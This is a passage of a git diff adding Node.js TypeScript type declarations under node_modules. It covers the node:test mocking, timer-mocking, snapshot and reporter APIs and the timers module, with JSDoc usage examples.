assert.strictEqual(fn(), 4); + * assert.strictEqual(fn(), 5); + * assert.strictEqual(fn(), 6); + * }); + * ``` + * @since v19.1.0, v18.13.0 + * @param original An optional function to create a mock on. + * @param implementation An optional function used as the mock implementation for `original`. This is useful for creating mocks that exhibit one behavior for a specified number of calls and + * then restore the behavior of `original`. + * @param options Optional configuration options for the mock function. + * @return The mocked function. The mocked function contains a special `mock` property, which is an instance of {@link MockFunctionContext}, and can be used for inspecting and changing the + * behavior of the mocked function. + */ + fn(original?: F, options?: MockFunctionOptions): Mock; + fn( + original?: F, + implementation?: Implementation, + options?: MockFunctionOptions, + ): Mock; + /** + * This function is used to create a mock on an existing object method. The + * following example demonstrates how a mock is created on an existing object + * method. + * + * ```js + * test('spies on an object method', (t) => { + * const number = { + * value: 5, + * subtract(a) { + * return this.value - a; + * }, + * }; + * + * t.mock.method(number, 'subtract'); + * assert.strictEqual(number.subtract.mock.calls.length, 0); + * assert.strictEqual(number.subtract(3), 2); + * assert.strictEqual(number.subtract.mock.calls.length, 1); + * + * const call = number.subtract.mock.calls[0]; + * + * assert.deepStrictEqual(call.arguments, [3]); + * assert.strictEqual(call.result, 2); + * assert.strictEqual(call.error, undefined); + * assert.strictEqual(call.target, undefined); + * assert.strictEqual(call.this, number); + * }); + * ``` + * @since v19.1.0, v18.13.0 + * @param object The object whose method is being mocked. + * @param methodName The identifier of the method on `object` to mock. If `object[methodName]` is not a function, an error is thrown. + * @param implementation An optional function used as the mock implementation for `object[methodName]`. + * @param options Optional configuration options for the mock method. + * @return The mocked method. The mocked method contains a special `mock` property, which is an instance of {@link MockFunctionContext}, and can be used for inspecting and changing the + * behavior of the mocked method. + */ + method< + MockedObject extends object, + MethodName extends FunctionPropertyNames, + >( + object: MockedObject, + methodName: MethodName, + options?: MockFunctionOptions, + ): MockedObject[MethodName] extends Function ? Mock + : never; + method< + MockedObject extends object, + MethodName extends FunctionPropertyNames, + Implementation extends Function, + >( + object: MockedObject, + methodName: MethodName, + implementation: Implementation, + options?: MockFunctionOptions, + ): MockedObject[MethodName] extends Function ? Mock + : never; + method( + object: MockedObject, + methodName: keyof MockedObject, + options: MockMethodOptions, + ): Mock; + method( + object: MockedObject, + methodName: keyof MockedObject, + implementation: Function, + options: MockMethodOptions, + ): Mock; + + /** + * This function is syntax sugar for `MockTracker.method` with `options.getter` set to `true`. + * @since v19.3.0, v18.13.0 + */ + getter< + MockedObject extends object, + MethodName extends keyof MockedObject, + >( + object: MockedObject, + methodName: MethodName, + options?: MockFunctionOptions, + ): Mock<() => MockedObject[MethodName]>; + getter< + MockedObject extends object, + MethodName extends keyof MockedObject, + Implementation extends Function, + >( + object: MockedObject, + methodName: MethodName, + implementation?: Implementation, + options?: MockFunctionOptions, + ): Mock<(() => MockedObject[MethodName]) | Implementation>; + /** + * This function is syntax sugar for `MockTracker.method` with `options.setter` set to `true`. + * @since v19.3.0, v18.13.0 + */ + setter< + MockedObject extends object, + MethodName extends keyof MockedObject, + >( + object: MockedObject, + methodName: MethodName, + options?: MockFunctionOptions, + ): Mock<(value: MockedObject[MethodName]) => void>; + setter< + MockedObject extends object, + MethodName extends keyof MockedObject, + Implementation extends Function, + >( + object: MockedObject, + methodName: MethodName, + implementation?: Implementation, + options?: MockFunctionOptions, + ): Mock<((value: MockedObject[MethodName]) => void) | Implementation>; + + /** + * This function is used to mock the exports of ECMAScript modules, CommonJS modules, and Node.js builtin modules. + * Any references to the original module prior to mocking are not impacted. + * + * Only available through the [--experimental-test-module-mocks](https://nodejs.org/api/cli.html#--experimental-test-module-mocks) flag. + * @since v22.3.0 + * @experimental + * @param specifier A string identifying the module to mock. + * @param options Optional configuration options for the mock module. + */ + module(specifier: string, options?: MockModuleOptions): MockModuleContext; + + /** + * This function restores the default behavior of all mocks that were previously + * created by this `MockTracker` and disassociates the mocks from the `MockTracker` instance. Once disassociated, the mocks can still be used, but the `MockTracker` instance can no longer be + * used to reset their behavior or + * otherwise interact with them. + * + * After each test completes, this function is called on the test context's `MockTracker`. If the global `MockTracker` is used extensively, calling this + * function manually is recommended. + * @since v19.1.0, v18.13.0 + */ + reset(): void; + /** + * This function restores the default behavior of all mocks that were previously + * created by this `MockTracker`. Unlike `mock.reset()`, `mock.restoreAll()` does + * not disassociate the mocks from the `MockTracker` instance. + * @since v19.1.0, v18.13.0 + */ + restoreAll(): void; + + timers: MockTimers; + } + const mock: MockTracker; + interface MockFunctionCall< + F extends Function, + ReturnType = F extends (...args: any) => infer T ? T + : F extends abstract new(...args: any) => infer T ? T + : unknown, + Args = F extends (...args: infer Y) => any ? Y + : F extends abstract new(...args: infer Y) => any ? Y + : unknown[], + > { + /** + * An array of the arguments passed to the mock function. + */ + arguments: Args; + /** + * If the mocked function threw then this property contains the thrown value. + */ + error: unknown | undefined; + /** + * The value returned by the mocked function. + * + * If the mocked function threw, it will be `undefined`. + */ + result: ReturnType | undefined; + /** + * An `Error` object whose stack can be used to determine the callsite of the mocked function invocation. + */ + stack: Error; + /** + * If the mocked function is a constructor, this field contains the class being constructed. + * Otherwise this will be `undefined`. + */ + target: F extends abstract new(...args: any) => any ? F : undefined; + /** + * The mocked function's `this` value. + */ + this: unknown; + } + /** + * The `MockFunctionContext` class is used to inspect or manipulate the behavior of + * mocks created via the `MockTracker` APIs. + * @since v19.1.0, v18.13.0 + */ + class MockFunctionContext { + /** + * A getter that returns a copy of the internal array used to track calls to the + * mock. Each entry in the array is an object with the following properties. + * @since v19.1.0, v18.13.0 + */ + readonly calls: Array>; + /** + * This function returns the number of times that this mock has been invoked. This + * function is more efficient than checking `ctx.calls.length` because `ctx.calls` is a getter that creates a copy of the internal call tracking array. + * @since v19.1.0, v18.13.0 + * @return The number of times that this mock has been invoked. + */ + callCount(): number; + /** + * This function is used to change the behavior of an existing mock. + * + * The following example creates a mock function using `t.mock.fn()`, calls the + * mock function, and then changes the mock implementation to a different function. + * + * ```js + * test('changes a mock behavior', (t) => { + * let cnt = 0; + * + * function addOne() { + * cnt++; + * return cnt; + * } + * + * function addTwo() { + * cnt += 2; + * return cnt; + * } + * + * const fn = t.mock.fn(addOne); + * + * assert.strictEqual(fn(), 1); + * fn.mock.mockImplementation(addTwo); + * assert.strictEqual(fn(), 3); + * assert.strictEqual(fn(), 5); + * }); + * ``` + * @since v19.1.0, v18.13.0 + * @param implementation The function to be used as the mock's new implementation. + */ + mockImplementation(implementation: F): void; + /** + * This function is used to change the behavior of an existing mock for a single + * invocation. Once invocation `onCall` has occurred, the mock will revert to + * whatever behavior it would have used had `mockImplementationOnce()` not been + * called. + * + * The following example creates a mock function using `t.mock.fn()`, calls the + * mock function, changes the mock implementation to a different function for the + * next invocation, and then resumes its previous behavior. + * + * ```js + * test('changes a mock behavior once', (t) => { + * let cnt = 0; + * + * function addOne() { + * cnt++; + * return cnt; + * } + * + * function addTwo() { + * cnt += 2; + * return cnt; + * } + * + * const fn = t.mock.fn(addOne); + * + * assert.strictEqual(fn(), 1); + * fn.mock.mockImplementationOnce(addTwo); + * assert.strictEqual(fn(), 3); + * assert.strictEqual(fn(), 4); + * }); + * ``` + * @since v19.1.0, v18.13.0 + * @param implementation The function to be used as the mock's implementation for the invocation number specified by `onCall`. + * @param onCall The invocation number that will use `implementation`. If the specified invocation has already occurred then an exception is thrown. + */ + mockImplementationOnce(implementation: F, onCall?: number): void; + /** + * Resets the call history of the mock function. + * @since v19.3.0, v18.13.0 + */ + resetCalls(): void; + /** + * Resets the implementation of the mock function to its original behavior. The + * mock can still be used after calling this function. + * @since v19.1.0, v18.13.0 + */ + restore(): void; + } + /** + * @since v22.3.0 + * @experimental + */ + class MockModuleContext { + /** + * Resets the implementation of the mock module. + * @since v22.3.0 + */ + restore(): void; + } + + type Timer = "setInterval" | "setTimeout" | "setImmediate" | "Date"; + interface MockTimersOptions { + apis: Timer[]; + now?: number | Date | undefined; + } + /** + * Mocking timers is a technique commonly used in software testing to simulate and + * control the behavior of timers, such as `setInterval` and `setTimeout`, + * without actually waiting for the specified time intervals. + * + * The MockTimers API also allows for mocking of the `Date` constructor and + * `setImmediate`/`clearImmediate` functions. + * + * The `MockTracker` provides a top-level `timers` export + * which is a `MockTimers` instance. + * @since v20.4.0 + * @experimental + */ + class MockTimers { + /** + * Enables timer mocking for the specified timers. + * + * **Note:** When you enable mocking for a specific timer, its associated + * clear function will also be implicitly mocked. + * + * **Note:** Mocking `Date` will affect the behavior of the mocked timers + * as they use the same internal clock. + * + * Example usage without setting initial time: + * + * ```js + * import { mock } from 'node:test'; + * mock.timers.enable({ apis: ['setInterval', 'Date'], now: 1234 }); + * ``` + * + * The above example enables mocking for the `Date` constructor, `setInterval` timer and + * implicitly mocks the `clearInterval` function. Only the `Date` constructor from `globalThis`, + * `setInterval` and `clearInterval` functions from `node:timers`, `node:timers/promises`, and `globalThis` will be mocked. + * + * Example usage with initial time set + * + * ```js + * import { mock } from 'node:test'; + * mock.timers.enable({ apis: ['Date'], now: 1000 }); + * ``` + * + * Example usage with initial Date object as time set + * + * ```js + * import { mock } from 'node:test'; + * mock.timers.enable({ apis: ['Date'], now: new Date() }); + * ``` + * + * Alternatively, if you call `mock.timers.enable()` without any parameters: + * + * All timers (`'setInterval'`, `'clearInterval'`, `'Date'`, `'setImmediate'`, `'clearImmediate'`, `'setTimeout'`, and `'clearTimeout'`) + * will be mocked. + * + * The `setInterval`, `clearInterval`, `setTimeout`, and `clearTimeout` functions from `node:timers`, `node:timers/promises`, + * and `globalThis` will be mocked. + * The `Date` constructor from `globalThis` will be mocked. + * + * If there is no initial epoch set, the initial date will be based on 0 in the Unix epoch. This is `January 1st, 1970, 00:00:00 UTC`. You can + * set an initial date by passing a now property to the `.enable()` method. This value will be used as the initial date for the mocked Date + * object. It can either be a positive integer, or another Date object. + * @since v20.4.0 + */ + enable(options?: MockTimersOptions): void; + /** + * You can use the `.setTime()` method to manually move the mocked date to another time. This method only accepts a positive integer. + * Note: This method will execute any mocked timers that are in the past from the new time. + * In the below example we are setting a new time for the mocked date. + * ```js + * import assert from 'node:assert'; + * import { test } from 'node:test'; + * test('sets the time of a date object', (context) => { + * // Optionally choose what to mock + * context.mock.timers.enable({ apis: ['Date'], now: 100 }); + * assert.strictEqual(Date.now(), 100); + * // Advance in time will also advance the date + * context.mock.timers.setTime(1000); + * context.mock.timers.tick(200); + * assert.strictEqual(Date.now(), 1200); + * }); + * ``` + */ + setTime(time: number): void; + /** + * This function restores the default behavior of all mocks that were previously + * created by this `MockTimers` instance and disassociates the mocks + * from the `MockTracker` instance. + * + * **Note:** After each test completes, this function is called on + * the test context's `MockTracker`. + * + * ```js + * import { mock } from 'node:test'; + * mock.timers.reset(); + * ``` + * @since v20.4.0 + */ + reset(): void; + /** + * Advances time for all mocked timers. + * + * **Note:** This diverges from how `setTimeout` in Node.js behaves and accepts + * only positive numbers. In Node.js, `setTimeout` with negative numbers is + * only supported for web compatibility reasons. + * + * The following example mocks a `setTimeout` function and + * by using `.tick` advances in + * time triggering all pending timers. + * + * ```js + * import assert from 'node:assert'; + * import { test } from 'node:test'; + * + * test('mocks setTimeout to be executed synchronously without having to actually wait for it', (context) => { + * const fn = context.mock.fn(); + * + * context.mock.timers.enable({ apis: ['setTimeout'] }); + * + * setTimeout(fn, 9999); + * + * assert.strictEqual(fn.mock.callCount(), 0); + * + * // Advance in time + * context.mock.timers.tick(9999); + * + * assert.strictEqual(fn.mock.callCount(), 1); + * }); + * ``` + * + * Alternativelly, the `.tick` function can be called many times + * + * ```js + * import assert from 'node:assert'; + * import { test } from 'node:test'; + * + * test('mocks setTimeout to be executed synchronously without having to actually wait for it', (context) => { + * const fn = context.mock.fn(); + * context.mock.timers.enable({ apis: ['setTimeout'] }); + * const nineSecs = 9000; + * setTimeout(fn, nineSecs); + * + * const twoSeconds = 3000; + * context.mock.timers.tick(twoSeconds); + * context.mock.timers.tick(twoSeconds); + * context.mock.timers.tick(twoSeconds); + * + * assert.strictEqual(fn.mock.callCount(), 1); + * }); + * ``` + * + * Advancing time using `.tick` will also advance the time for any `Date` object + * created after the mock was enabled (if `Date` was also set to be mocked). + * + * ```js + * import assert from 'node:assert'; + * import { test } from 'node:test'; + * + * test('mocks setTimeout to be executed synchronously without having to actually wait for it', (context) => { + * const fn = context.mock.fn(); + * + * context.mock.timers.enable({ apis: ['setTimeout', 'Date'] }); + * setTimeout(fn, 9999); + * + * assert.strictEqual(fn.mock.callCount(), 0); + * assert.strictEqual(Date.now(), 0); + * + * // Advance in time + * context.mock.timers.tick(9999); + * assert.strictEqual(fn.mock.callCount(), 1); + * assert.strictEqual(Date.now(), 9999); + * }); + * ``` + * @since v20.4.0 + */ + tick(milliseconds: number): void; + /** + * Triggers all pending mocked timers immediately. If the `Date` object is also + * mocked, it will also advance the `Date` object to the furthest timer's time. + * + * The example below triggers all pending timers immediately, + * causing them to execute without any delay. + * + * ```js + * import assert from 'node:assert'; + * import { test } from 'node:test'; + * + * test('runAll functions following the given order', (context) => { + * context.mock.timers.enable({ apis: ['setTimeout', 'Date'] }); + * const results = []; + * setTimeout(() => results.push(1), 9999); + * + * // Notice that if both timers have the same timeout, + * // the order of execution is guaranteed + * setTimeout(() => results.push(3), 8888); + * setTimeout(() => results.push(2), 8888); + * + * assert.deepStrictEqual(results, []); + * + * context.mock.timers.runAll(); + * assert.deepStrictEqual(results, [3, 2, 1]); + * // The Date object is also advanced to the furthest timer's time + * assert.strictEqual(Date.now(), 9999); + * }); + * ``` + * + * **Note:** The `runAll()` function is specifically designed for + * triggering timers in the context of timer mocking. + * It does not have any effect on real-time system + * clocks or actual timers outside of the mocking environment. + * @since v20.4.0 + */ + runAll(): void; + /** + * Calls {@link MockTimers.reset()}. + */ + [Symbol.dispose](): void; + } + /** + * Only available through the [--experimental-test-snapshots](https://nodejs.org/api/cli.html#--experimental-test-snapshots) flag. + * @since v22.3.0 + * @experimental + */ + namespace snapshot { + /** + * This function is used to customize the default serialization mechanism used by the test runner. + * + * By default, the test runner performs serialization by calling `JSON.stringify(value, null, 2)` on the provided value. + * `JSON.stringify()` does have limitations regarding circular structures and supported data types. + * If a more robust serialization mechanism is required, this function should be used to specify a list of custom serializers. + * + * Serializers are called in order, with the output of the previous serializer passed as input to the next. + * The final result must be a string value. + * @since v22.3.0 + * @param serializers An array of synchronous functions used as the default serializers for snapshot tests. + */ + function setDefaultSnapshotSerializers(serializers: ReadonlyArray<(value: any) => any>): void; + /** + * This function is used to set a custom resolver for the location of the snapshot file used for snapshot testing. + * By default, the snapshot filename is the same as the entry point filename with `.snapshot` appended. + * @since v22.3.0 + * @param fn A function which returns a string specifying the location of the snapshot file. + * The function receives the path of the test file as its only argument. + * If `process.argv[1]` is not associated with a file (for example in the REPL), the input is undefined. + */ + function setResolveSnapshotPath(fn: (path: string | undefined) => string): void; + } + export { + after, + afterEach, + before, + beforeEach, + describe, + it, + Mock, + mock, + only, + run, + skip, + snapshot, + suite, + SuiteContext, + test, + test as default, + TestContext, + todo, + }; +} + +interface TestError extends Error { + cause: Error; +} +interface TestLocationInfo { + /** + * The column number where the test is defined, or + * `undefined` if the test was run through the REPL. + */ + column?: number; + /** + * The path of the test file, `undefined` if test was run through the REPL. + */ + file?: string; + /** + * The line number where the test is defined, or `undefined` if the test was run through the REPL. + */ + line?: number; +} +interface DiagnosticData extends TestLocationInfo { + /** + * The diagnostic message. + */ + message: string; + /** + * The nesting level of the test. + */ + nesting: number; +} +interface TestCoverage { + /** + * An object containing the coverage report. + */ + summary: { + /** + * An array of coverage reports for individual files. + */ + files: Array<{ + /** + * The absolute path of the file. + */ + path: string; + /** + * The total number of lines. + */ + totalLineCount: number; + /** + * The total number of branches. + */ + totalBranchCount: number; + /** + * The total number of functions. + */ + totalFunctionCount: number; + /** + * The number of covered lines. + */ + coveredLineCount: number; + /** + * The number of covered branches. + */ + coveredBranchCount: number; + /** + * The number of covered functions. + */ + coveredFunctionCount: number; + /** + * The percentage of lines covered. + */ + coveredLinePercent: number; + /** + * The percentage of branches covered. + */ + coveredBranchPercent: number; + /** + * The percentage of functions covered. + */ + coveredFunctionPercent: number; + /** + * An array of functions representing function coverage. + */ + functions: Array<{ + /** + * The name of the function. + */ + name: string; + /** + * The line number where the function is defined. + */ + line: number; + /** + * The number of times the function was called. + */ + count: number; + }>; + /** + * An array of branches representing branch coverage. + */ + branches: Array<{ + /** + * The line number where the branch is defined. + */ + line: number; + /** + * The number of times the branch was taken. + */ + count: number; + }>; + /** + * An array of lines representing line numbers and the number of times they were covered. + */ + lines: Array<{ + /** + * The line number. + */ + line: number; + /** + * The number of times the line was covered. + */ + count: number; + }>; + }>; + /** + * An object containing a summary of coverage for all files. + */ + totals: { + /** + * The total number of lines. + */ + totalLineCount: number; + /** + * The total number of branches. + */ + totalBranchCount: number; + /** + * The total number of functions. + */ + totalFunctionCount: number; + /** + * The number of covered lines. + */ + coveredLineCount: number; + /** + * The number of covered branches. + */ + coveredBranchCount: number; + /** + * The number of covered functions. + */ + coveredFunctionCount: number; + /** + * The percentage of lines covered. + */ + coveredLinePercent: number; + /** + * The percentage of branches covered. + */ + coveredBranchPercent: number; + /** + * The percentage of functions covered. + */ + coveredFunctionPercent: number; + }; + /** + * The working directory when code coverage began. This + * is useful for displaying relative path names in case + * the tests changed the working directory of the Node.js process. + */ + workingDirectory: string; + }; + /** + * The nesting level of the test. + */ + nesting: number; +} +interface TestComplete extends TestLocationInfo { + /** + * Additional execution metadata. + */ + details: { + /** + * Whether the test passed or not. + */ + passed: boolean; + /** + * The duration of the test in milliseconds. + */ + duration_ms: number; + /** + * An error wrapping the error thrown by the test if it did not pass. + */ + error?: TestError; + /** + * The type of the test, used to denote whether this is a suite. + */ + type?: "suite"; + }; + /** + * The test name. + */ + name: string; + /** + * The nesting level of the test. + */ + nesting: number; + /** + * The ordinal number of the test. + */ + testNumber: number; + /** + * Present if `context.todo` is called. + */ + todo?: string | boolean; + /** + * Present if `context.skip` is called. + */ + skip?: string | boolean; +} +interface TestDequeue extends TestLocationInfo { + /** + * The test name. + */ + name: string; + /** + * The nesting level of the test. + */ + nesting: number; +} +interface TestEnqueue extends TestLocationInfo { + /** + * The test name. + */ + name: string; + /** + * The nesting level of the test. + */ + nesting: number; +} +interface TestFail extends TestLocationInfo { + /** + * Additional execution metadata. + */ + details: { + /** + * The duration of the test in milliseconds. + */ + duration_ms: number; + /** + * An error wrapping the error thrown by the test. + */ + error: TestError; + /** + * The type of the test, used to denote whether this is a suite. + * @since v20.0.0, v19.9.0, v18.17.0 + */ + type?: "suite"; + }; + /** + * The test name. + */ + name: string; + /** + * The nesting level of the test. + */ + nesting: number; + /** + * The ordinal number of the test. + */ + testNumber: number; + /** + * Present if `context.todo` is called. + */ + todo?: string | boolean; + /** + * Present if `context.skip` is called. + */ + skip?: string | boolean; +} +interface TestPass extends TestLocationInfo { + /** + * Additional execution metadata. + */ + details: { + /** + * The duration of the test in milliseconds. + */ + duration_ms: number; + /** + * The type of the test, used to denote whether this is a suite. + * @since 20.0.0, 19.9.0, 18.17.0 + */ + type?: "suite"; + }; + /** + * The test name. + */ + name: string; + /** + * The nesting level of the test. + */ + nesting: number; + /** + * The ordinal number of the test. + */ + testNumber: number; + /** + * Present if `context.todo` is called. + */ + todo?: string | boolean; + /** + * Present if `context.skip` is called. + */ + skip?: string | boolean; +} +interface TestPlan extends TestLocationInfo { + /** + * The nesting level of the test. + */ + nesting: number; + /** + * The number of subtests that have ran. + */ + count: number; +} +interface TestStart extends TestLocationInfo { + /** + * The test name. + */ + name: string; + /** + * The nesting level of the test. + */ + nesting: number; +} +interface TestStderr { + /** + * The path of the test file. + */ + file: string; + /** + * The message written to `stderr`. + */ + message: string; +} +interface TestStdout { + /** + * The path of the test file. + */ + file: string; + /** + * The message written to `stdout`. + */ + message: string; +} + +/** + * The `node:test/reporters` module exposes the builtin-reporters for `node:test`. + * To access it: + * + * ```js + * import test from 'node:test/reporters'; + * ``` + * + * This module is only available under the `node:` scheme. The following will not + * work: + * + * ```js + * import test from 'node:test/reporters'; + * ``` + * @since v19.9.0 + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/test/reporters.js) + */ +declare module "node:test/reporters" { + import { Transform, TransformOptions } from "node:stream"; + + type TestEvent = + | { type: "test:coverage"; data: TestCoverage } + | { type: "test:complete"; data: TestComplete } + | { type: "test:dequeue"; data: TestDequeue } + | { type: "test:diagnostic"; data: DiagnosticData } + | { type: "test:enqueue"; data: TestEnqueue } + | { type: "test:fail"; data: TestFail } + | { type: "test:pass"; data: TestPass } + | { type: "test:plan"; data: TestPlan } + | { type: "test:start"; data: TestStart } + | { type: "test:stderr"; data: TestStderr } + | { type: "test:stdout"; data: TestStdout } + | { type: "test:watch:drained"; data: undefined }; + type TestEventGenerator = AsyncGenerator; + + interface ReporterConstructorWrapper Transform> { + new(...args: ConstructorParameters): InstanceType; + (...args: ConstructorParameters): InstanceType; + } + + /** + * The `dot` reporter outputs the test results in a compact format, + * where each passing test is represented by a `.`, + * and each failing test is represented by a `X`. + * @since v20.0.0 + */ + function dot(source: TestEventGenerator): AsyncGenerator<"\n" | "." | "X", void>; + /** + * The `tap` reporter outputs the test results in the [TAP](https://testanything.org/) format. + * @since v20.0.0 + */ + function tap(source: TestEventGenerator): AsyncGenerator; + class SpecReporter extends Transform { + constructor(); + } + /** + * The `spec` reporter outputs the test results in a human-readable format. + * @since v20.0.0 + */ + const spec: ReporterConstructorWrapper; + /** + * The `junit` reporter outputs test results in a jUnit XML format. + * @since v21.0.0 + */ + function junit(source: TestEventGenerator): AsyncGenerator; + class LcovReporter extends Transform { + constructor(opts?: Omit); + } + /** + * The `lcov` reporter outputs test coverage when used with the + * [`--experimental-test-coverage`](https://nodejs.org/docs/latest-v22.x/api/cli.html#--experimental-test-coverage) flag. + * @since v22.0.0 + */ + // TODO: change the export to a wrapper function once node@0db38f0 is merged (breaking change) + // const lcov: ReporterConstructorWrapper; + const lcov: LcovReporter; + + export { dot, junit, lcov, spec, tap, TestEvent }; +} diff --git a/node_modules/@types/node/timers.d.ts b/node_modules/@types/node/timers.d.ts new file mode 100644 index 000000000000..a4ea3e57255a --- /dev/null +++ b/node_modules/@types/node/timers.d.ts @@ -0,0 +1,240 @@ +/** + * The `timer` module exposes a global API for scheduling functions to + * be called at some future period of time. Because the timer functions are + * globals, there is no need to import `node:timers` to use the API. + * + * The timer functions within Node.js implement a similar API as the timers API + * provided by Web Browsers but use a different internal implementation that is + * built around the Node.js [Event Loop](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#setimmediate-vs-settimeout). + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/timers.js) + */ +declare module "timers" { + import { Abortable } from "node:events"; + import { + setImmediate as setImmediatePromise, + setInterval as setIntervalPromise, + setTimeout as setTimeoutPromise, + } from "node:timers/promises"; + interface TimerOptions extends Abortable { + /** + * Set to `false` to indicate that the scheduled `Timeout` + * should not require the Node.js event loop to remain active. + * @default true + */ + ref?: boolean | undefined; + } + let setTimeout: typeof global.setTimeout; + let clearTimeout: typeof global.clearTimeout; + let setInterval: typeof global.setInterval; + let clearInterval: typeof global.clearInterval; + let setImmediate: typeof global.setImmediate; + let clearImmediate: typeof global.clearImmediate; + global { + namespace NodeJS { + // compatibility with older typings + interface Timer extends RefCounted { + hasRef(): boolean; + refresh(): this; + [Symbol.toPrimitive](): number; + } + /** + * This object is created internally and is returned from `setImmediate()`. It + * can be passed to `clearImmediate()` in order to cancel the scheduled + * actions. + * + * By default, when an immediate is scheduled, the Node.js event loop will continue + * running as long as the immediate is active. The `Immediate` object returned by `setImmediate()` exports both `immediate.ref()` and `immediate.unref()` functions that can be used to + * control this default behavior. + */ + class Immediate implements RefCounted { + /** + * When called, requests that the Node.js event loop _not_ exit so long as the `Immediate` is active. Calling `immediate.ref()` multiple times will have no + * effect. + * + * By default, all `Immediate` objects are "ref'ed", making it normally unnecessary + * to call `immediate.ref()` unless `immediate.unref()` had been called previously. + * @since v9.7.0 + * @return a reference to `immediate` + */ + ref(): this; + /** + * When called, the active `Immediate` object will not require the Node.js event + * loop to remain active. If there is no other activity keeping the event loop + * running, the process may exit before the `Immediate` object's callback is + * invoked. Calling `immediate.unref()` multiple times will have no effect. + * @since v9.7.0 + * @return a reference to `immediate` + */ + unref(): this; + /** + * If true, the `Immediate` object will keep the Node.js event loop active. + * @since v11.0.0 + */ + hasRef(): boolean; + _onImmediate: Function; // to distinguish it from the Timeout class + /** + * Cancels the immediate. This is similar to calling `clearImmediate()`. + * @since v20.5.0 + */ + [Symbol.dispose](): void; + } + /** + * This object is created internally and is returned from `setTimeout()` and `setInterval()`. It can be passed to either `clearTimeout()` or `clearInterval()` in order to cancel the + * scheduled actions. + * + * By default, when a timer is scheduled using either `setTimeout()` or `setInterval()`, the Node.js event loop will continue running as long as the + * timer is active. Each of the `Timeout` objects returned by these functions + * export both `timeout.ref()` and `timeout.unref()` functions that can be used to + * control this default behavior. + */ + class Timeout implements Timer { + /** + * When called, requests that the Node.js event loop _not_ exit so long as the`Timeout` is active. Calling `timeout.ref()` multiple times will have no effect. + * + * By default, all `Timeout` objects are "ref'ed", making it normally unnecessary + * to call `timeout.ref()` unless `timeout.unref()` had been called previously. + * @since v0.9.1 + * @return a reference to `timeout` + */ + ref(): this; + /** + * When called, the active `Timeout` object will not require the Node.js event loop + * to remain active. If there is no other activity keeping the event loop running, + * the process may exit before the `Timeout` object's callback is invoked. Calling `timeout.unref()` multiple times will have no effect. + * @since v0.9.1 + * @return a reference to `timeout` + */ + unref(): this; + /** + * If true, the `Timeout` object will keep the Node.js event loop active. + * @since v11.0.0 + */ + hasRef(): boolean; + /** + * Sets the timer's start time to the current time, and reschedules the timer to + * call its callback at the previously specified duration adjusted to the current + * time. This is useful for refreshing a timer without allocating a new + * JavaScript object. + * + * Using this on a timer that has already called its callback will reactivate the + * timer. + * @since v10.2.0 + * @return a reference to `timeout` + */ + refresh(): this; + [Symbol.toPrimitive](): number; + /** + * Cancels the timeout. + * @since v20.5.0 + */ + [Symbol.dispose](): void; + } + } + /** + * Schedules execution of a one-time `callback` after `delay` milliseconds. + * + * The `callback` will likely not be invoked in precisely `delay` milliseconds. + * Node.js makes no guarantees about the exact timing of when callbacks will fire, + * nor of their ordering. The callback will be called as close as possible to the + * time specified. + * + * When `delay` is larger than `2147483647` or less than `1`, the `delay` will be set to `1`. Non-integer delays are truncated to an integer. + * + * If `callback` is not a function, a `TypeError` will be thrown. + * + * This method has a custom variant for promises that is available using `timersPromises.setTimeout()`. + * @since v0.0.1 + * @param callback The function to call when the timer elapses. + * @param [delay=1] The number of milliseconds to wait before calling the `callback`. + * @param args Optional arguments to pass when the `callback` is called. + * @return for use with {@link clearTimeout} + */ + function setTimeout( + callback: (...args: TArgs) => void, + ms?: number, + ...args: TArgs + ): NodeJS.Timeout; + // util.promisify no rest args compability + // eslint-disable-next-line @typescript-eslint/no-invalid-void-type + function setTimeout(callback: (args: void) => void, ms?: number): NodeJS.Timeout; + namespace setTimeout { + const __promisify__: typeof setTimeoutPromise; + } + /** + * Cancels a `Timeout` object created by `setTimeout()`. + * @since v0.0.1 + * @param timeout A `Timeout` object as returned by {@link setTimeout} or the `primitive` of the `Timeout` object as a string or a number. + */ + function clearTimeout(timeoutId: NodeJS.Timeout | string | number | undefined): void; + /** + * Schedules repeated execution of `callback` every `delay` milliseconds. + * + * When `delay` is larger than `2147483647` or less than `1`, the `delay` will be + * set to `1`. Non-integer delays are truncated to an integer. + * + * If `callback` is not a function, a `TypeError` will be thrown. + * + * This method has a custom variant for promises that is available using `timersPromises.setInterval()`. + * @since v0.0.1 + * @param callback The function to call when the timer elapses. + * @param [delay=1] The number of milliseconds to wait before calling the `callback`. + * @param args Optional arguments to pass when the `callback` is called. + * @return for use with {@link clearInterval} + */ + function setInterval( + callback: (...args: TArgs) => void, + ms?: number, + ...args: TArgs + ): NodeJS.Timeout; + // util.promisify no rest args compability + // eslint-disable-next-line @typescript-eslint/no-invalid-void-type + function setInterval(callback: (args: void) => void, ms?: number): NodeJS.Timeout; + namespace setInterval { + const __promisify__: typeof setIntervalPromise; + } + /** + * Cancels a `Timeout` object created by `setInterval()`. + * @since v0.0.1 + * @param timeout A `Timeout` object as returned by {@link setInterval} or the `primitive` of the `Timeout` object as a string or a number. + */ + function clearInterval(intervalId: NodeJS.Timeout | string | number | undefined): void; + /** + * Schedules the "immediate" execution of the `callback` after I/O events' + * callbacks. + * + * When multiple calls to `setImmediate()` are made, the `callback` functions are + * queued for execution in the order in which they are created. The entire callback + * queue is processed every event loop iteration. If an immediate timer is queued + * from inside an executing callback, that timer will not be triggered until the + * next event loop iteration. + * + * If `callback` is not a function, a `TypeError` will be thrown. + * + * This method has a custom variant for promises that is available using `timersPromises.setImmediate()`. + * @since v0.9.1 + * @param callback The function to call at the end of this turn of the Node.js `Event Loop` + * @param args Optional arguments to pass when the `callback` is called. + * @return for use with {@link clearImmediate} + */ + function setImmediate( + callback: (...args: TArgs) => void, + ...args: TArgs + ): NodeJS.Immediate; + // util.promisify no rest args compability + // eslint-disable-next-line @typescript-eslint/no-invalid-void-type + function setImmediate(callback: (args: void) => void): NodeJS.Immediate; + namespace setImmediate { + const __promisify__: typeof setImmediatePromise; + } + /** + * Cancels an `Immediate` object created by `setImmediate()`. + * @since v0.9.1 + * @param immediate An `Immediate` object as returned by {@link setImmediate}. + */ + function clearImmediate(immediateId: NodeJS.Immediate | undefined): void; + function queueMicrotask(callback: () => void): void; + } +} +declare module "node:timers" { + export * from "timers"; +} diff --git a/node_modules/@types/node/timers/promises.d.ts b/node_modules/@types/node/timers/promises.d.ts new file mode 100644 index 000000000000..1e6eb65a2866 --- /dev/null +++ 